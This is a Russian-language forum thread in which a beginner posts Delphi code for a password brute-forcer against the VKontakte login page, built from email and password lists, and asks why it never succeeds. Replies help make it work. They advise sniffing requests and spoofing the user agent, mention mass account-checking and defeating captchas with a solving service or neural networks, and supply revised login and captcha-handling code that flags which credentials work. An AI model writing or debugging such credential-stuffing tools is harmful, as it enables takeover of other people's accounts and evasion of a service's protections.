Вот весь исходный код. А вот в чем проблема: Всегда погазывает что пароль не правильный PHP: unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP; type TForm1 = class(TForm) Button1: TButton; Label1: TLabel; Edit1: TEdit; OpenDialog1: TOpenDialog; OpenDialog2: TOpenDialog; Edit2: TEdit; Label2: TLabel; Button2: TButton; Label3: TLabel; Label4: TLabel; Button3: TButton; Edit3: TEdit; Edit4: TEdit; Label5: TLabel; Label6: TLabel; IdHTTP1: TIdHTTP; procedure Button1Click(Sender: TObject); procedure Button2Click(Sender: TObject); procedure Button3Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var emails:TStringList; // список мыл pass:TStringList; // список паролей post:TStringList; // список полей пост запроса i,j:integer; // счетчики циклов http: TidHTTP ; result:String; Form1: TForm1; implementation {$R *.dfm} procedure TForm1.Button1Click(Sender: TObject); begin if opendialog1.Execute then edit1.Visible:=true; Edit1.text:=( opendialog1.FileName); Button1.Enabled:=false; Button2.Enabled:=true; end; procedure TForm1.Button2Click(Sender: TObject); begin if opendialog2.Execute then edit2.Visible:=true; Edit2.text:=( opendialog2.FileName); Button3.Enabled:=true; Button2.Enabled:=false; end; procedure TForm1.Button3Click(Sender: TObject); begin emails:=TStringList.Create; pass:=TStringList.Create; // Инициализируем переменные emails.Add('мой@mail.com'); pass.Add('пароль'); http:=TidHTTP.Create(nil); // создаем HTTPClient http.HandleRedirects:=true; // это необходимо post:=tstringlist.Create; // этот стринг лист содержит поля e-mail и пароль for i:=0 to emails.Count-1 do begin // перебираем в цикле мыльники post.Clear; // отчищаем post.Add('email='+emails.Strings[i]); // указываем e-mail for j:=0 to pass.Count-1 do begin // перебираем пароли для выбранного мыльника post.Add('pass='+pass.Strings[j]); // указываем пароль result:=http.Post('http://vkontakte.ru/login.php',post); // посылаем запрос if pos('logout',result)>0 then // проверяем ответ begin showmessage ('Пароль подобрали'); end else showmessage ('Пароль не подобрали'); end; end; // освободим переменные emails.Free; pass.Free; http.Free; post.Free; end; end.
Чет мне подсказывает, что у вас запрос - фуфло, как и код. Возьмите ка вы сниферец да проснифте запросы. И юзерагент нужно указать актуальный...
http:=TidHTTP.Create(nil); // создаем HTTPClient комментарий жгет ) http.HandleRedirects:=true; // это необходимо а этот комментарий еще больше доставляет ) нельзя писать такие комментарии 1 первый ) повторяет очевидное 2 второй ) смысл знает только автор (тогда зачем он?)
ахахахах там к статей редирект не нужен имхо надо ручками обрабатывать редирект.. ну снифером глянуть, там пару запросов надо отправить, и к статей как не странно я как-то давно с родного IP чеккал акки на потоках, ни одной капчи не вылетело хз почему)!
Помогите с прогрой плз, очень надо, я еще только учусь работать с делфи, пишу что знаю. P.S. нащет капчи то ничего страшного, будет стоять антигейт, или самому вводить
насчет капчи отличный выход из ситуации это неиро-сети, как то делал хорошоя штука только сложно научить, а так только в путь (у меня не получилось научить=( пока забил на нее) в сети примеров много с неиросетями !
А ктонибуть может объяснить что такое сокеты, так говорили что проще, но я не могу их норм понять, было б хорошо привести пример этого кода но с использыванием сокетов
Програмный интерфейс для обмена данными между процессами. Делится на клиент и сервер. В Delphi есть полноценная инкапсуляция клиентского и серверного сокетов, представленная компонентами TClientSocket и TServerSocket, находящимися на закладке Internet. Также эта непонятная хрень можеть быть представлена в виде пары значений АЙПИАДРЕС:ПОРТ.
Code: var post:tstringlist; c,sid,cap:string; http:tidhttp; begin http:=tidhttp.Create; http.HandleRedirects:=false; http.AllowCookies:=false; post := Tstringlist.Create; post.add ('op=a_login_attempt'); try c:=http.post ('http://vk.com/login.php', post); except end; while ansipos('captcha_sid',c) <>0 do // капча begin sid:=copy(c, pos('sid":"',c)+6, 14); delete(sid, pos('"',sid), length(sid)); cap:=разгадываешь капчу(sid); post.Clear; post.add ('op=a_login_attempt'); post.add ('captcha_sid='+sid); post.add ('captcha_key='+cap); try c:=http.post ('http://vk.com/login.php', post); except end; end; post.Clear; try c := http.get ('http://login.vk.com/?act=login&email='+логин+'&pass=' + urlencode(пароль)+'&expire=&vk=1'); except end; if pos('login.php?m=1&email=',http.Response.Location)<>0 then // акк невалидный. else // пароль подошел, но валидный ли акк - еще нужно проверять. он может быть заблокирован или случится проверка безопастности. http.free; post.free; end; примерно так.
Vasa211, С циклом неправильно, жирным выделил как надо. Со второго цикла у тебя по нескольку паролей отсылалось одновременно. Ну и с вк все не так просто, надо еще редирект обработать или через Twebbrowser посылай , там javascript обрабатывается хотябы)
HackingAll, всеравно не работает, всегда пишет "Пароль не подобрали". Гдето в другом месте ошибка, но я не могу ее найти, вроде все правильно. Помогите найти ошибку. 1n0y, ничего не могу понять в коде, откуда прать логин и пароль? c := http.get ('http://login.vk.com/?act=login&email='+логин+'&pass=' + urlencode(пароль)+'&expire=&vk=1'); в строчке выше откуда берется "+логин+" и "+ urlencode(пароль)+" я так понял что тут должны быть какието переменные. Опиши по подробней пожалуйта.